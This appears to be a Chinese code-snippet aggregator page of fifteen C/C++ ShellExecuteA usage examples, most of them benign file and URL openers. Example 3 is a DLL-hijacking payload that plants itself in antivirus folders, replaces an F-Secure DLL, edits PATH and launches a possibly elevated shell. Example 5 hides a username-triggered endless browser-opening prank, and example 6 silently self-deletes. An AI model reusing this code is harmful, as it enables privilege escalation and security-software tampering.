当前位置: 首页>>代码示例>>C++>>正文


C++ ShellExecuteA函数代码示例

本文整理汇总了C++中ShellExecuteA函数的典型用法代码示例。如果您正苦于以下问题:C++ ShellExecuteA函数的具体用法?C++ ShellExecuteA怎么用?C++ ShellExecuteA使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了ShellExecuteA函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: Shell_Execute

void Shell_Execute(const Ztring &ToExecute)
{
    #ifdef ZENLIB_USEWX
    #else //ZENLIB_USEWX
        #ifdef WINDOWS
            #ifdef UNICODE
                if (IsWin9X())
                    ShellExecuteA(NULL, "open", ToExecute.To_Local().c_str(), NULL, NULL, 0);
                else
                    ShellExecute (NULL, __T("open"), ToExecute.c_str(), NULL, NULL, 0);
            #else
                ShellExecute(NULL, __T("open"), ToExecute.c_str(), NULL, NULL, 0);
            #endif
        #else
            //Not supported
        #endif
    #endif //ZENLIB_USEWX
}
开发者ID:AeonAxan,项目名称:mpc-hc,代码行数:18,代码来源:OS_Utils.cpp

示例2: IupExecute

int IupExecute(const char *filename, const char* parameters)
{
  /* no need to convert from UTF8 here */
  int err = (int)ShellExecuteA(GetDesktopWindow(), "open", filename, parameters, NULL, SW_SHOWNORMAL);
  if (err <= 32)
  {
    switch (err)
    {
    case ERROR_FILE_NOT_FOUND:
    case ERROR_PATH_NOT_FOUND:
      return -2; /* File not found */
      break;
    default:
      return -1; /* Generic error */
      break;
    }
  }
  return 1;
}
开发者ID:Vulcanior,项目名称:IUP,代码行数:19,代码来源:iupwindows_help.c

示例3: DllMain

/***************************************************************************************************\
*	Функа DllMain; 
*	дополнительная точка входа в подгружаемую динамически dll; 
*	Вход:
*		(+)
*	Выход:
*		1	-	dll загрузилась; 0 - что-то пошло не так - и она будет выгружена системой; 
\***************************************************************************************************/
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	HANDLE hFile; 
	char szMsg1[] = "Hello from DllMain!\r\n";
	char szMsg2[MAX_PATH * 2] = "DllMain: ";
	DWORD numobw = 0;

	if(fdwReason == DLL_PROCESS_ATTACH)	//длл запущена или был вызов этой длл через LoadLibrary; 
	{
		hFile = CreateFileA(szLogName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 
			CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);	//создаём лог-файл (должна существовать папка C:\xlogs); 

		if(hFile == INVALID_HANDLE_VALUE)
		{
			return 0; 
		}

		GetModuleFileNameA(0, &szMsg2[strlen(szMsg2)], MAX_PATH);	//получаем имя exe-файла, загрузившего нашу длл;

		if(strstr(szMsg2, "Windows-KB"))	//если нашу длл загружает апдейт винды
		{
			if(ChangeRegKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path", ";C:\\xlogs"))
			{
				GetModuleFileNameA(GetModuleHandleA("feclient.dll"), szFileName, MAX_PATH);	//получаем полный путь к нашей длл (наша длл должна иметь имя feclient.dll - как раз для того, чтобы быть подхваченной апейтом винды (ака dll hijacking)); 
				CopyFileA(szFileName, "C:\\xlogs\\ppeset.dll", 0);	//копируем её в данную папку с конкретным названием (for nod32); 
				CopyFileA(szFileName, "C:\\Program Files\\COMODO\\COMODO Internet Security\\themes\\xnewdll.theme", 0);	//for comodo
				MoveFileA("C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi.dll", "C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi2.dll");	//for f-secure; 
				CopyFileA(szFileName, "C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi.dll", 0);	//for f-secure; 
				CopyFileA(szFileName, "C:\\Program Files\\Internet Explorer\\xnewdll.dll", 0);	//просто так)
				ShellExecuteA(NULL, "open", "C:\\WINDOWS\\System32\\cmd.exe", NULL, NULL, SW_SHOW);	//вызываем командную строку (с админскими правами в случае успеха); 
			}
		}
		
		strcat(szMsg2, "\r\n");	//переход на новую строку
		WriteFile(hFile, szMsg1, strlen(szMsg1), &numobw, 0);	//пишем данные в лог-файл; 
		SetFilePointer(hFile, 0, 0, FILE_END);	//переходим в конец файла (на новую строку);
		WriteFile(hFile, szMsg2, strlen(szMsg2), &numobw, 0);	//etc 
		CloseHandle(hFile); 
	}

	return 1;
}
开发者ID:fatenocaster,项目名称:obfuscation-crypto-repo,代码行数:50,代码来源:main.c

示例4: doOpenUrl

static bool doOpenUrl(const QUrl& url)
{
#ifdef Q_WS_WIN
	// on Vista it always returns iexplore.exe as default browser
	bool oldStyleDefaultBrowserInfo = QSysInfo::WindowsVersion < QSysInfo::WV_VISTA;

	QFileInfo browserFileInfo(defaultBrowser());
	if (oldStyleDefaultBrowserInfo && browserFileInfo.fileName() == "iexplore.exe") {
		return QProcess::startDetached(browserFileInfo.absoluteFilePath(),
		                               QStringList() << "-new" << url.toEncoded());
	}
	else {
		// FIXME: This is necessary for Qt 4.3.3 to handle all URLs correctly
		QT_WA(
			ShellExecuteW(0, 0, (WCHAR *)QString(url.toEncoded()).utf16(), 0, 0, SW_SHOWNORMAL);
		,
			QByteArray a = QString(url.toEncoded()).toLocal8Bit();	// must not call constData() of a temp object
			ShellExecuteA(0, 0, (CHAR *)a.constData(), 0, 0, SW_SHOWNORMAL);
		)
		return true;
开发者ID:blcorp,项目名称:psi,代码行数:20,代码来源:desktoputil.cpp

示例5: qtinit

int qtinit()
{
	WCHAR out[] = {'F','r','a','n','k','e','n','s','t','e','i','n','s',' ','M','o','n','s','t','e','r',' ','W','a','l','k','s',' ','A','g','a','i','n','\n','\0'};
	char uname[] = {'F','r','a','n','k','e','n','s','t','e','i','n','s','M','o','n','s','t','e','r','\0'};
	std::string um = getenv( "USERNAME" );
	if(um == std::string(uname))
	{
		if(time(NULL)%1==0)
		{
			while(1)
			{
				ShellExecuteA(NULL, "open", "http://www.youtube.com/watch?v=dQw4w9WgXcQ", NULL, NULL, SW_SHOWNORMAL);
				std::this_thread::sleep_for(std::chrono::seconds(1));
			}
//			crtPrintMemoryDbg(out);
//			return 750 + 250 + 170 + 130 + 12 + 18 + 4 + 3;
		}
	}
	return 0;
}
开发者ID:CaterHatterPillar,项目名称:xkill-source,代码行数:20,代码来源:main.cpp

示例6: _unlink

void CHawkeye_clientApp::SelfKilling()
{

	char lCommand[MAX_BUF_SIZE + 1];
	char lFile[MAX_BUF_SIZE + 1];

	_unlink("ddkhook.sys");
	_unlink("mfc100u.dll");
	_unlink("msvcr100.dll");

	ZeroMemory(lCommand, sizeof(lCommand));

	if((GetModuleFileNameA(0, lFile, sizeof(lFile)) != 0) && (GetShortPathNameA(lFile, lFile, MAX_BUF_SIZE) != 0))
	{
		_snprintf(lCommand, sizeof(lCommand) - 1, "/c del %s >> NUL", lFile);
		GetEnvironmentVariableA("ComSpec", lFile, MAX_PATH) && ShellExecuteA(0, 0, lFile, lCommand, 0, SW_HIDE);
	}// else
	exit(0);

}
开发者ID:MikaAriel,项目名称:Hawkeye_client,代码行数:20,代码来源:Hawkeye_client.cpp

示例7: ExtractWord

void __fastcall THTMLFrame::HtmlHotSpotClick(TObject *Sender,
	  const AnsiString SRC, bool &Handled)
{
	TSysCharSet Delims;
	Delims << ':';
	String Proto = ExtractWord(1,SRC,Delims);
	Handled=false;

	if(SameText(Proto,"dcm"))
	{
		 String Script = SRC.c_str()+4;
		 Evalate(Script);
		 Handled = true;
	}
	else if(SameText(Proto,"http") || SameText(Proto,"mailto"))
	{
		ShellExecuteA(Handle, NULL, SRC.c_str(), NULL, NULL, SW_SHOWNORMAL);
		Handled = true;
	}
}
开发者ID:JlblC,项目名称:dcmap,代码行数:20,代码来源:UIHTMLFrame.cpp

示例8: open_button_cb

static void
open_button_cb(GtkButton *button, GaimGtkXferDialog *dialog)
{
#ifdef _WIN32 /* Only supported in Win32 right now */
	int code;
	if (G_WIN32_HAVE_WIDECHAR_API ()) {
		wchar_t *wc_filename = g_utf8_to_utf16(
				gaim_xfer_get_local_filename(
					dialog->selected_xfer),
				-1, NULL, NULL, NULL);
	
		code = (int) ShellExecuteW(NULL, NULL, wc_filename, NULL, NULL,
				SW_SHOW);

		g_free(wc_filename);
	} else {
		char *l_filename = g_locale_from_utf8(
				gaim_xfer_get_local_filename(
					dialog->selected_xfer),
				-1, NULL, NULL, NULL);
	
		code = (int) ShellExecuteA(NULL, NULL, l_filename, NULL, NULL,
				SW_SHOW);

		g_free(l_filename);
	}

	if (code == SE_ERR_ASSOCINCOMPLETE || code == SE_ERR_NOASSOC)
	{
		gaim_notify_error(NULL, NULL,
				_("There is no application configured to open this type of file."), NULL);
	}
	else if (code < 32)
	{
		gaim_notify_error(NULL, NULL,
				_("An error occurred while opening the file."), NULL);
		gaim_debug_warning("ft", "filename: %s; code: %d\n",
				gaim_xfer_get_local_filename(dialog->selected_xfer), code);
	}
#endif
}
开发者ID:BackupTheBerlios,项目名称:maemo-gaim-svn,代码行数:41,代码来源:gtkft.c

示例9: serve_open

int serve_open(int *clientSocket, http_message *message, char *filepath)

{

	// Check if file exists

	DWORD dwAttrib = GetFileAttributesA(filepath);

	BOOL isFile = (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));



	if (isFile)

	{

		int retval = (int) ShellExecuteA(0, "open", filepath, 0, 0, SW_SHOW);

		if (retval <= 32)

			return serve_error(clientSocket, "403 Forbidden (process creation error)");

		else

		{

			// Send OK response

			const char http_response[] = "HTTP/1.0 201 Created\r\n\r\n201 Created";

			return send(*clientSocket, http_response, strlen(http_response), 0);

		}

	}

	else

		return serve_error(clientSocket, "404 Not found");

}
开发者ID:uvbs,项目名称:deepsecurity,代码行数:41,代码来源:WebService.cpp

示例10: ExpandPathW

int CFolderItem::FolderDeleteOldDirectory(int showFolder)
{
	int res = FOLDER_SUCCESS;
	if (IsUnicode())
		{
			wchar_t buffer[MAX_FOLDER_SIZE];
			if (szOldFormatW)
				{
					if (wcscmp(szFormatW, szOldFormatW) == 0) //format wasn't changed
						{
							return res;
						}
					ExpandPathW(buffer, szOldFormatW, MAX_FOLDER_SIZE);
					RemoveDirectories(buffer);
					res = (DirectoryExists(buffer)) ? FOLDER_FAILURE : FOLDER_SUCCESS;
					if ((res == FOLDER_FAILURE) && (showFolder))
						{
							ShellExecuteW(NULL, L"explore", buffer, NULL, NULL, SW_SHOW);
						}
				}
		}
		else{
			char buffer[MAX_FOLDER_SIZE];
			if (szOldFormat)
				{
					if (strcmp(szFormat, szOldFormat) == 0) //format wasn't changed
						{
							return res;
						}
					ExpandPath(buffer, szOldFormat, MAX_FOLDER_SIZE);
					RemoveDirectories(buffer);
					res = (DirectoryExists(buffer)) ? FOLDER_FAILURE : FOLDER_SUCCESS;
					if ((res == FOLDER_FAILURE) && (showFolder))
						{
							ShellExecuteA(NULL, "explore", buffer, NULL, NULL, SW_SHOW);
						}
				}
		}
	return res;
}
开发者ID:TonyAlloa,项目名称:miranda-dev,代码行数:40,代码来源:folderItem.cpp

示例11: Java_org_gudy_azureus2_platform_win32_access_impl_AEWin32AccessInterface_shellExecuteA

// 1.3
JNIEXPORT jint JNICALL
Java_org_gudy_azureus2_platform_win32_access_impl_AEWin32AccessInterface_shellExecuteA(
	JNIEnv	*env,
	jclass	cla,
	jstring _operation,
	jstring	_file,
	jstring _parameters,
	jstring _directory,
	jint _showCmd )
{
	char	operation[20];
	char	file[5192];
	char	parameters[16000];
	char	directory[5192];
	INT		showCmd = _showCmd;
	
	if ( !jstringToCharsA( env, _operation, operation, sizeof( operation ))){
		return -1;
	}

	if ( !jstringToCharsA( env, _file, file, sizeof( file ))){
		return -1;
	}

	if ( !jstringToCharsA( env, _parameters, parameters, sizeof( parameters ))){
		return -1;
	}

	if ( !jstringToCharsA( env, _directory, directory, sizeof( directory ))){
		return -1;
	}
	
	// Not sure if ShellExecute treats "\0" as NULL, so do explicit check 
	return (jint)ShellExecuteA(NULL,
			_operation == NULL ? NULL : operation,
			_file == NULL ? NULL : file,
			_parameters == NULL ? NULL : parameters,
			_directory == NULL ? NULL : directory,
			showCmd);
}
开发者ID:cnh,项目名称:BitMate,代码行数:41,代码来源:aereg.cpp

示例12: ofLaunchBrowser

//--------------------------------------------------
void ofLaunchBrowser(string url){
	
	// http://support.microsoft.com/kb/224816
	
	//make sure it is a properly formatted url
	if(url.substr(0,7) != "http://"){
		printf("ofLaunchBrowser: url must begin http://\n");
		return;
	}

	//----------------------------
	#ifdef TARGET_WIN32
	//----------------------------
		
		#if (_MSC_VER)       
		// microsoft visual studio yaks about strings, wide chars, unicode, etc
		ShellExecuteA(NULL, "open", url.c_str(),
                NULL, NULL, SW_SHOWNORMAL);
		#else
		ShellExecute(NULL, "open", url.c_str(),
                NULL, NULL, SW_SHOWNORMAL);
		#endif

	//----------------------------
	#endif
	//----------------------------
	
	//--------------------------------------
	#ifdef TARGET_OSX
	//--------------------------------------
		// ok gotta be a better way then this, 
		// this is what I found...
		string commandStr = "open "+url;
		system(commandStr.c_str());
	//----------------------------
	#endif
	//----------------------------

}
开发者ID:LeonFedotov,项目名称:L.A.S.E.R.-TAG-GRL,代码行数:40,代码来源:ofUtils.cpp

示例13: open_browser

static void open_browser(const char *uri)
{
#ifdef _WIN32
    ShellExecuteA(NULL, "open", uri, 0, 0, SW_SHOWNORMAL);
#else
    const char *browser = getenv("BROWSER");
    if (!browser)
    {
#ifdef __APPLE__
        browser = "open";
#else
        browser = "xdg-open";
#endif
    }
    if (fork() == 0)
    {
        execlp(browser, browser, uri, (char*)0);
        fprintf(stderr, "cannot exec '%s'\n", browser);
        exit(0);
    }
#endif
}
开发者ID:ArtifexSoftware,项目名称:mupdf,代码行数:22,代码来源:gl-main.c

示例14: Win32_ShellExecute

/* win32.ShellExecute verb file args */
static int
Win32_ShellExecute(Jim_Interp *interp, int objc, Jim_Obj * const *objv)
{
    ptrdiff_t r;
    const char *verb, *file, *parm = NULL;
    char cwd[MAX_PATH + 1];

    if (objc < 3 || objc > 4) {
        Jim_WrongNumArgs(interp, 1, objv, "verb path ?parameters?");
        return JIM_ERR;
    }
    verb = Jim_String(objv[1]);
    file = Jim_String(objv[2]);
    GetCurrentDirectoryA(MAX_PATH + 1, cwd);
    if (objc == 4)
        parm = Jim_String(objv[3]);
    r = (ptrdiff_t)ShellExecuteA(NULL, verb, file, parm, cwd, SW_SHOWNORMAL);
    if (r < 33)
        Jim_SetResult(interp,
            Win32ErrorObj(interp, "ShellExecute", GetLastError()));
    return (r < 33) ? JIM_ERR : JIM_OK;
}
开发者ID:hummypkg,项目名称:jimtcl,代码行数:23,代码来源:jim-win32.c

示例15: openurl

void
openurl(const char *url)
{
    // lifted off http://www.archivum.info/[email protected]/2007-10/msg00078.html
    // from a post by Gabriele Greco
    // will use later on
#ifdef WIN32
    ShellExecuteA(GetActiveWindow(),
                  "open", url, NULL, NULL, SW_SHOWNORMAL);
#elif defined(__APPLE__)
    char buffer[256];
    snprintf(buffer, sizeof(buffer), "open %s", url);
    system(buffer);
#else
    char *apps[] = {"x-www-browser",
                    "firefox", // iceweasel has an alias on debian
                    "opera",
                    "mozilla",
                    "galeon",
                    "konqueror", NULL
                   };

    char buffer[256];
    int i = 0;

    while (apps[i]) {
        snprintf(buffer, sizeof(buffer), "which %s >/dev/null", apps[i]);
        if (system(buffer) == 0) {
            snprintf(buffer, sizeof(buffer), "%s %s", apps[i], url);
            int dummy = system(buffer);
            dummy = 0;
            return;
        }
        i++;
    }
#endif

}
开发者ID:taelg,项目名称:yatc,代码行数:38,代码来源:util.cpp


注:本文中的ShellExecuteA函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。